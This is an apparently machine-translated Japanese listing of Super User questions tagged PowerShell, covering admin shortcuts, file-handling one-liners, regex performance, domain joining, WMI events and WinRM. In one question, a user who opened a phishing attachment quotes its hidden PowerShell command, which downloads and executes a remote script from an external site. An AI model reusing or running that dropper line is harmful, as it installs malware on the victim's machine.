タグ付けされた質問 「powershell」

Windows PowerShellは、CMD.exeシェルおよびバッチ言語に取って代わる、Windows用のコマンドラインシェルおよびスクリプト言語です。PowerShellは、Windows Script HostおよびVBScriptと同様の機能を提供するWindows用の自動化エンジンでもあります。

1
PowerShellを管理者として起動するタスクバーショートカットを作成する
私はWindows 10を使用しており、PowerShellを実行するときは常に管理者モードで実行する必要がありますが、タスクバーのショートカットはアイコンを右クリックして「管理者として実行」を選択するだけで有効になります。 ショートカット自体を単に管理者として実行する方法はありますか?

3
お気に入り/便利なPowerShellスクリプト[終了]
autohotkeyスクリプトに関する質問と同じ行に沿って:https : //superuser.com/questions/7271/、今ではPowershellについてです。 便利で便利なまたは強力なスクリプト。彼らが何をするのか説明してください。サーバージョブやsysadminタスクとは関係のないスクリプトを自由に追加してください。 例えば: このコマンドは、*。jpg画像を現在のディレクトリに再帰的に移動し、元のディレクトリ名を画像ファイルのプレフィックスとして追加します。 (ls -r -include *.jpg) | % { mv -literal $_ $_.Name.Insert(0, [String]::Format("{0} - ", $_.Directory.Name))} または、テキストドキュメントで実行できるもの: $badString = "This is not the way it should be." $badString #for debug only while ($badString.Contains(" ")){ $badString = $badString -replace " "," " } $badString #tada Powershellは未来だからです。

0
誤ってPowershellスクリプトを開いた
実際のIDIOTのように、注文した配送の詳細へのリンクであるとされるメールの添付ファイルを開きました。 内部には短いPOWER SHELLスクリプト-C:\ Windows \ System32 \ WindowsPowerShell \ v1.0 \ powershell.exe -WindowStyle hidden -ExecutionPolicy Bypass -nologo -noprofile -c IEX((New-Object Net.WebClient).DownloadString( ' http://clanmeeting.com/para/pam.ps1 ')); 誰か助けて、私がどれだけ「Merde」にいるのか教えてもらえますか。 よろしくマイク




1
Powershell LastWriteTimeが正しくありません
次のスクリプトを実行して、ディレクトリ内のファイル名の最初の9文字に基づいてディレクトリを作成し、ファイル名に基づいてこれらのディレクトリにファイルを移動します。 dir | %{ $id = $_.Name.SubString(0,9); if(-not (Test-Path $id)) {mkdir $id}; mv $_ "$id\$_";} 今、私が見つけたのは、スクリプトを実行した後、フォルダーが過去数年のLastWriteTimeでマークされていることです。 ここにPowershellからの出力があります Mode LastWriteTime Length Name ---- ------------- ------ ---- d---- 13/04/2006 7:25 PM XXX095_00 d---- 13/04/2006 7:29 PM XXX285_0_ このLastWriteTimeがどこから来たのか誰にも教えてもらえますか?

1
PowerShell 2がSelect-String“。* _。* = - 1”でフリーズする
これは愚かなQのように見えるかもしれませんが、私はPSの問題を抱えています: タイトルのように私は私のような何かをしようと言う: $all = gci D:\work\ $all | Select-String ".*_.*=-1" (名前に値-1と_を持つ設定オプションを探している) 問題は、PSがフリーズし、別の方法でそれが妥当な時間内に終了しないこと、Ctrl + Cキーが機能しないことです。 データはそれを処理するには多すぎると言うこともできますが、問題はgrepが同じフォルダと同じ正規表現で1〜2秒かかることです。 grepコマンドは(当初は-rを持っていませんでしたが、いくつかのコメントの後に追加しました。grepはまだ高速ですが、20〜30秒かかります) grep ".*_.*=-1" -r D:\work\* 編集: $all | ForEach-Object {echo $_.Name; $_|Select-String ".*_.*=-1" } ゆっくりとファイル名を表示します...問題は、PSの正規表現の速度が哀れだということです...

2
実行中のプロセスのリストを取得してMD5アルゴリズムで実行する方法をPowershellで[クローズド]
こんにちは私は私の窓10で実行されているすべてのプロセスのリストを取得し、MD5アルゴリズムを通してそれらを実行することができる必要があります。 PowerShellでこれを自動的に行う方法はありますか? 任意の助けは非常に高く評価されています

2
検出PowerShell関数の入力がリダイレクトされている
対話型である可能性がある、または直接データをパイプ処理する可能性がある、PowerShellから呼び出すサブプロセスがあります。例えば: # This is interactive: & c:\python27\python.exe # This takes redirected input: echo hi | & c:\python27\python.exe -c "print repr(raw_input())" そのようなプロセスへの呼び出しをラップするために使用できる関数を作成したいです。私がすることができます: function python() { & c:\python27\python.exe @args } # This starts an interactive prompt: python # The piped data disappears and the process still reads from the console: echo hi …

1
PowerShell:安全な文字列を使用した自動参加ドメイン - 「暗号化キー」の使用法
私は75台のコンピューターのラボを管理しているエンタープライズ環境で働いています。私はGhostを使ってイメージを作成し、その後コンピュータを歩き回ってPCの名前とSIDを変更します。 私は自動的にドメインにコンピュータを追加するためのスクリプトを実装していますが、私はPowerShellに慣れていないので本当に助けに感謝します。これが私が使っているスクリプトです、1.ps1: Param ( [String]$User = $(Throw "MYDOMAINUSERINFO"), [String]$Domain = "MYDOMAININFO", [String]$PathToCred = "C:\OMC\AutoPost" ) #Make sure our path string has a trailing backslash If ($PathToCred[$PathToCred.Length - 1] -ne "\") { $PathToCred += "\" } #Now create file string $File = $PathToCred + "JoinDomain-$User.crd" #And find out if it's there, …

1
任意のUSBデバイス用のWmiEvent
フォローしています この答え 、 を含む Register-WmiEvent -Class win32_VolumeChangeEvent -SourceIdentifier volumeChange そして $newEvent = Wait-Event -SourceIdentifier volumeChange これは、USBフラッシュドライブを挿入または取り外すと機能します。 (私はそれが原因だと思っています VolumeChange )の挿入または取り外しを検出したい どれか しかしUSBデバイスは、ドライブだけではありません。これは可能ですか?ありがとうございました!
1 usb  powershell  wmi  win32 

0
Mac上のPowershell - モジュールインポートPartnerCenterが失敗する
Mac上のPowerShellにはPartnerCenterモジュールを使用する必要があります。モジュールをインポートしようとしたとき Import-Module -Name PartnerCenter PowerShellは言う Import-Module : Could not load file or assembly 'Newtonsoft.Json, Version=11.0.0.0, Culture=neutral, PublicKeyToken=30ad4fe6b2a6aeed'. At line:1 char:1 + Import-Module -Name PartnerCenter + ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + CategoryInfo : InvalidOperation: (:) [Import-Module], FileLoadException + FullyQualifiedErrorId : FormatXmlUpdateException,Microsoft.PowerShell.Commands.ImportModuleCommand 私は、PartnerCenterモジュールが「バイナリー」タイプであることに気付きました。その他のスクリプトタイプのモジュールAz、問題なくインポートできます。 編集する モジュールをインストールした後、sudoを使ってPowerShellを実行しました。私はまたpostanoteがその返答で示唆したすべてのステップを行いました、最初に記述されたのと同じ結果 編集2: まだここでは成功していません... Win-Machineを使用してそれを回避しましたが、それでも解決策には興味があります。 よろしく、 マイケル
1 macos  mac  powershell 

2
ローカルホストでのみ待機しているWindowsリモート管理サービス
WinRMに奇妙な問題があります。サーバーの移行により、マシンに別のIPアドレスが割り当てられました。 WinRMを再び機能させることができません。 WinRMサービスを有効にしましたが、実際にはlocalhost(ポート5985)で待機しています。 C:\Windows\system32>winrm e winrm/config/listener Listener Address = * Transport = HTTP Port = 5985 Hostname Enabled = true URLPrefix = wsman CertificateThumbprint ListeningOn = 127.0.0.1, 192.168.80.54, ::1, fe80::100:7f:fffe%12, fe80::5efe:192.168.80.54%11, fe80::a140:a4a0:3b8f:e423%15 走ったとき test-wsman 127.0.0.1 以下の出力が表示されます。 wsmid : http://schemas.dmtf.org/wbem/wsman/identity/1/wsmanidentity.xsd ProtocolVersion : http://schemas.dmtf.org/wbem/wsman/1/wsman.xsd ProductVendor : Microsoft Corporation ProductVersion : OS: 0.0.0 …

1
Windows UpdatesのKB番号のリストを考えて、どうすれば更新プログラムの内容を確認できますか?
私が取り組んでいるプログラムにこの問題があります。プログラムは私の開発マシンとQA環境では動作が異なります。環境間の違いは、Windowsアップデートがインストールされている点にあると思います。 私は各マシンのアップデートのリストを持っていて、どのアップデートがdevマシンにあるのか(アプリは動く)QAマシンにはない(アプリは動かない)のを見つけるために違いを抽出した。この最後のリストには61の更新があります。 アップデートを1つずつインストールし、アップデートごとにアプリをテストする代わりにしたいのですが。アップデートごとにkbaseの記事のテキストをすばやく取得する方法が見つかった場合に役立ちます。そうすれば、どの更新を最初に見るべきかについての手がかりを得ることができます。 誰かが私がそれについてどうなるかについての何か提案がありますか? ありがとう。

弊社のサイトを使用することにより、あなたは弊社のクッキーポリシーおよびプライバシーポリシーを読み、理解したものとみなされます。
Licensed under cc by-sa 3.0 with attribution required.